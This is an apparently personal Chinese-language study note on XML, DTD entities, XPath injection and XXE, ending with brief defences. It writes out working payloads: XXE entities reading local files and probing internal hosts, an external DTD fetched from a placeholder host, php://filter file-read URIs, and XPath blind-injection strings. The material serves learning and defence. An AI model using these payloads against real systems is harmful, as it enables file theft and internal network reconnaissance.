-
XML语言特点:
传输数据非显示数据
没有预定义标签
XML格式:
1 | <?xml version="1.0" ?> //XML声明 |
DTD:
XML的格式规范(文档定义类型)
包括 XML声明,DTD文档类型定义,文档元素
1 | <?xml version="1.0" encoding="UTF-8"?> |
xml声明
- 内部声明
1
<!DOCTYPE 根元素 [元素声明]>
- 外部引用
1
2
3<!DOCTYPE 根元素 SYSTEM "文件名">或
// system 标识符表示 该实体将从外部来源获取内容
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD
内部实体
1
2
3<!ENTITY 实体名称 "实体的值">
例子
<!ENTITY writer "me">外部实体
1
2
3<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">ENTITY可以使用SYSTEM关键字调用外部资源,需要借助协议,如
1
2
3
4file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
php://filter/resource=c:/windows/win.ini参数实体
仅能在DTD内部被引用,解析优先级高于xml内部实体1
2
3<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">实体调用
1
2<author>&writer;</author>
注: 一个实体由三部分构成: (&), 实体名称, (;)如
1
2
3
4
5<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE n [
<!ENTITY a SYSTEM "file:///flag">
]>
<user><username>&a;</username><password>123456</password></user>
CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 ““ 结束
函数simplexml_load_string()可以读取XML
使用函数: simplexml_load_file() 把xml文档载入对象中
XML注入
就是闭合标签
防御:过滤输入或进行转义
XPath 注入
XPath 是 xml 路径语言,用于配置文件查找
利用 XPath扫描 和 XPath查询布尔化
攻击者可以控制用来进行XPath查询的XML数据库
注入对象:存储数据的XML文件
基本语法:https://www.cnblogs.com/wendyw/p/11633588.html
原理代码
1 | 正常查询:/root/users/user[username/text()='test1'and password/text()='test1'] |
XPath 盲注
- 盲注根节点
判断数目:
?name=’ or count(/) = 1 or ‘1’ = ‘2
猜解:
?name=’ or substring(name(/[position() = 1]),1,1)=’r’ or ‘1’=’2 - 依次下一节点
?name=’ or count(/root/*) = 1 or ‘1’ = ‘2
(类似于sql盲注,比sql注入更危险 范围更大 防护更低
XML外部实体注入(XXE)
发生于应用程序解析XML输入时,没有禁止外部实体加载
(由于解析xml在php库libxml libxml>=2.9.0版本中没有xxe漏洞)
引起任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等
利用(上传恶意xml文件)
- 任意文件读取
构造引入外部实体使&file;变成外部文件qwzf.txt中内容1
2
3
4
5
6
7
8<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://qwzf.txt" >
]>
<root>
<name>&file;</name>
</root>
1 | file://host/path |
- 探测内网地址
1
2
3
4
5
6
7<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.0.100:80">]>
<root>
<name>&xxe;</name>
</root>
无回显
将数据发送到远程服务器(攻击服务器),观察服务器日志
(我尚未实现)
基于错误的xee
使服务器对我们人为的故意错误进行一些纠正 如
1 | <!DOCTYPE Author[ \ n |
步骤
- 检测xml是否解析
1
2
3
4
5<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY shit “this is shit”>
]>
<root>&shit;</root> - 检测是否支持外部实体
1
2
3
4
5<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>
%shit;
]>
防御
使用开发语言提供的禁用外部实体的方法
过滤用户提交数据
不允许xml中含有自己定义的DTD
还有一些比较细化的东西 比如浏览器的版本
还有一些类如ceye的网站怎么用,不看了 过几天再来看
先占坑,未完待续
https://www.secpulse.com/archives/58915.html
https://www.cnblogs.com/backlion/p/9302528.html